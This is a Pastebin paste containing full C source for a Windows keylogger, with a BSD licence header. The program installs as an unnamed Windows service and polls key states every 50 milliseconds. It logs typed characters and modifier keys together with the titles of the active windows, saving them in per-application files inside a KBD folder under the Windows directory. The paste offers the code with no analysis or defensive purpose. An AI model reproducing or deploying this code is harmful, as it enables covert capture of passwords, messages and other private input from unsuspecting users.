Guest User

Untitled

a guest
Dec 10th, 2016
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.07 KB | None | 0 0
  1. /**
  2. * Copyright (c) 2006, Nicolas Hillegeer
  3. * All rights reserved.
  4. *
  5. * Redistribution and use in source and binary forms, with or without
  6. * modification, are permitted provided that the following conditions are met:
  7. * * Redistributions of source code must retain the above copyright
  8. * notice, this list of conditions and the following disclaimer.
  9. * * Redistributions in binary form must reproduce the above copyright
  10. * notice, this list of conditions and the following disclaimer in the
  11. * documentation and/or other materials provided with the distribution.
  12. * * Neither the name of the <organization> nor the
  13. * names of its contributors may be used to endorse or promote products
  14. * derived from this software without specific prior written permission.
  15. *
  16. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17. * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18. * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19. * DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
  20. * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  21. * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
  22. * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
  23. * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  24. * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
  25. * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  26. */
  27.  
  28. #define WIN32_LEAN_AND_MEAN
  29. #define NOGDI
  30.  
  31. #include <windows.h>
  32. #include <psapi.h>
  33.  
  34. #define BUFFERSIZE 512
  35.  
  36. #define SHIFT 1
  37. #define CONTROL 2
  38. #define ALT 4
  39.  
  40. SERVICE_STATUS SecSrvStatus = {
  41. SERVICE_WIN32_OWN_PROCESS,
  42. SERVICE_RUNNING,
  43. SERVICE_ACCEPT_STOP,
  44. 0,
  45. 0,
  46. 0,
  47. 0,
  48. };
  49.  
  50. SERVICE_STATUS_HANDLE hSecSrvStatus;
  51.  
  52. unsigned int nlist[] = {
  53. 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90,
  54. VK_SPACE, VK_RETURN, VK_TAB, VK_BACK, VK_CAPITAL,
  55. VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9,
  56. VK_MULTIPLY, VK_ADD, VK_SEPARATOR, VK_SUBTRACT, VK_DECIMAL, VK_DIVIDE,
  57. 0
  58. };
  59.  
  60. int __fastcall AppendToBuffer(unsigned char *buffer, unsigned int character, unsigned int state) {
  61. unsigned int bufferlength = lstrlen(buffer);
  62.  
  63. switch (character) {
  64. case VK_RETURN:
  65. *(buffer + bufferlength) = '\r';
  66. *(buffer + ++bufferlength) = '\n';
  67. break;
  68.  
  69. case VK_TAB:
  70. lstrcat(buffer, "[TAB]");
  71. bufferlength += 4;
  72. break;
  73.  
  74. case VK_BACK:
  75. lstrcat(buffer, "[BCK]");
  76. bufferlength += 4;
  77. break;
  78.  
  79. case VK_CAPITAL:
  80. lstrcat(buffer, "[CAP]");
  81. bufferlength += 4;
  82. break;
  83.  
  84. default:
  85. if (state & CONTROL) {
  86. unsigned char ctrlbuffer[9];
  87.  
  88. wsprintf(ctrlbuffer, "[CTRL-%c]", character);
  89. lstrcat(buffer, ctrlbuffer);
  90. bufferlength += 7;
  91.  
  92. break;
  93. }
  94.  
  95. if (state & SHIFT) {
  96. *(buffer + bufferlength) = character;
  97. }
  98.  
  99. else {
  100. /* numpad other entry (*, +, /, -, ., ...) */
  101. if (character >= 106 && character <= 111)
  102. character -= 64;
  103.  
  104. /* numpad number entry (1, 2, 3, 4, ...) */
  105. if (character >= 96 && character <= 105)
  106. character -= 48;
  107.  
  108. /* upper-case to lower-case conversion because shift is not pressed */
  109. if (character >= 65 && character <= 90)
  110. character += 32;
  111.  
  112. *(buffer + bufferlength) = character;
  113. }
  114.  
  115. break;
  116. }
  117.  
  118. return(++bufferlength);
  119. }
  120.  
  121. void KeyLog() {
  122. static HWND hwnd, hwndold;
  123.  
  124. static HANDLE logfile, processhandle;
  125.  
  126. static unsigned char windowtext[BUFFERSIZE] = "";
  127. static unsigned char writebuffer[BUFFERSIZE] = "";
  128. static unsigned char filename[BUFFERSIZE] = "";
  129.  
  130. static unsigned long byteswritten;
  131. static unsigned long processid;
  132.  
  133. unsigned int bufferlength = 0;
  134. unsigned int state = 0;
  135.  
  136. unsigned int *i = nlist;
  137.  
  138. do {
  139. if (GetAsyncKeyState(*i) == -32767)
  140. break;
  141. } while (*++i);
  142.  
  143. if (!*i)
  144. return;
  145.  
  146. ZeroMemory(writebuffer, BUFFERSIZE);
  147.  
  148. hwnd = GetForegroundWindow();
  149.  
  150. if (hwnd != hwndold) {
  151. GetWindowText(hwnd, windowtext, BUFFERSIZE - 1);
  152.  
  153. lstrcat(writebuffer, "\r\n\r\n");
  154. lstrcat(writebuffer, windowtext);
  155. lstrcat(writebuffer, "\r\n");
  156.  
  157. GetWindowThreadProcessId(hwnd, &processid);
  158. processhandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processid);
  159. GetModuleBaseName(processhandle, NULL, filename, BUFFERSIZE);
  160.  
  161. CloseHandle(processhandle);
  162. CloseHandle(logfile);
  163.  
  164. logfile = CreateFile(
  165. filename, /* name of file */
  166. GENERIC_WRITE, /* acces type */
  167. FILE_SHARE_READ | FILE_SHARE_WRITE, /* share type */
  168. NULL, /* security, unused */
  169. OPEN_ALWAYS, /* creation distribution */
  170. FILE_FLAG_WRITE_THROUGH, /* attributes */
  171. NULL
  172. );
  173.  
  174. SetFilePointer(logfile, 0, 0, FILE_END);
  175. }
  176.  
  177. if (GetAsyncKeyState(16))
  178. state |= SHIFT;
  179. if (GetAsyncKeyState(17))
  180. state |= CONTROL;
  181. if (GetAsyncKeyState(18))
  182. state |= ALT;
  183.  
  184. bufferlength = AppendToBuffer(writebuffer, *i, state);
  185.  
  186. WriteFile(
  187. logfile, /* file handle */
  188. writebuffer, /* buffer */
  189. bufferlength, /* number of bytes to write */
  190. &byteswritten, /* not used, contains number of bytes written */
  191. NULL /* not used, overlapped IO */
  192. );
  193.  
  194. hwndold = hwnd;
  195. }
  196.  
  197. void WINAPI SecSrvCtrlHandler(unsigned long opcode) {
  198. if (opcode == SERVICE_CONTROL_STOP) {
  199. SecSrvStatus.dwCurrentState = SERVICE_STOPPED;
  200.  
  201. SetServiceStatus(hSecSrvStatus, &SecSrvStatus);
  202.  
  203. return;
  204. }
  205.  
  206. SetServiceStatus(hSecSrvStatus, &SecSrvStatus);
  207.  
  208. return;
  209. }
  210.  
  211. void WINAPI ServiceMain(unsigned long argcount, char *arguments[]) {
  212. MSG msg;
  213.  
  214. char buffer[MAX_PATH];
  215.  
  216. hSecSrvStatus = RegisterServiceCtrlHandler("", SecSrvCtrlHandler);
  217.  
  218. SetServiceStatus(hSecSrvStatus, &SecSrvStatus);
  219.  
  220. GetWindowsDirectory(buffer, MAX_PATH);
  221. lstrcat(buffer, "\\KBD");
  222. CreateDirectory(buffer, NULL);
  223. SetCurrentDirectory(buffer);
  224.  
  225. SetTimer(NULL, 0, 50, NULL);
  226.  
  227. while (GetMessage(&msg, NULL, 0, 0))
  228. if (msg.message == WM_TIMER)
  229. KeyLog();
  230.  
  231. return;
  232. }
  233.  
  234. int main() {
  235. SERVICE_TABLE_ENTRY DispatchTable[] = {
  236. { "", ServiceMain },
  237. { NULL, NULL }
  238. };
  239.  
  240. StartServiceCtrlDispatcher(DispatchTable);
  241. }
Add Comment
Please, Sign In to add comment